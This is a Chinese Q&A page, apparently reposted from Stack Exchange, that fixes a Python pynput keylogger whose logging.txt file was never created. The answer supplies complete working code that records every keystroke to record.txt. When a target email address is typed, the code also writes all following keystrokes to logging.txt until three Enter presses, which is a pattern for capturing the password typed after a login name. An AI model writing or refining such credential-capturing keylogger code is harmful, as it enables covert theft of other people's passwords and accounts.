Python键盘记录器logging.txt文件未创建问题求助
键盘记录器问题修复方案
核心问题分析
- 触发条件无效:你的代码中每次按键只能捕获单个字符(比如输入'e'时
keydata是'e'),永远无法匹配完整的"example@hotmail.com"字符串,所以deTPass函数从未被调用,logging.txt自然不会创建。 - 记录逻辑错误:
deTPass里的循环无法监听后续按键,且是死循环——传入的keydata不会随新按键更新,i永远无法增加;同时手动调用close()属于多余操作(with语句会自动关闭文件)。
修复方案
需要维护全局缓冲区累积输入字符,添加状态标记控制是否记录到logging.txt,以及计数Enter按键次数:
修正后的代码
from pynput.keyboard import Listener, Key # 全局变量:输入缓冲区、是否处于记录状态、Enter按键计数 input_buffer = "" is_logging = False enter_count = 0 def prconsole(key): global input_buffer, is_logging, enter_count keydata = str(key).replace("'", "") # 处理特殊按键 if keydata == "Key.space": keydata = " " elif keydata == "Key.enter": keydata = "\n" # 如果处于记录状态,计数Enter if is_logging: enter_count += 1 # 达到3次Enter,停止记录 if enter_count >= 3: is_logging = False enter_count = 0 elif keydata.startswith("Key."): # 忽略其他功能键(如backspace、shift等,可根据需求调整) keydata = f"[{keydata}]" # 更新输入缓冲区 input_buffer += keydata # 检查缓冲区是否包含目标邮箱,触发记录状态 if "example@hotmail.com" in input_buffer and not is_logging: is_logging = True # 清空缓冲区,避免重复触发 input_buffer = "" # 先写入触发的邮箱字符串到logging.txt with open("logging.txt", 'a') as c: c.write("example@hotmail.com") # 写入主记录文件 SaveF(keydata) # 如果处于记录状态,写入logging.txt if is_logging: with open("logging.txt", 'a') as c: c.write(keydata) def SaveF(keydata): with open("record.txt", 'a') as f: f.write(keydata) with Listener(on_press=prconsole) as l: l.join()
代码说明
- 全局变量:
input_buffer累积所有输入字符,is_logging标记是否需要写入logging.txt,enter_count统计Enter按键次数。 - 触发逻辑:当缓冲区中出现目标邮箱时,开启记录状态,并清空缓冲区防止重复触发。
- 记录控制:开启记录后,所有按键都会写入
logging.txt,直到按下3次Enter,自动关闭记录状态。 - 特殊按键处理:对Enter、Space做了转换,其他功能键用
[Key.xxx]格式记录,避免乱码。
内容的提问来源于stack exchange,提问作者Token
相关产品推荐
相关产品推荐

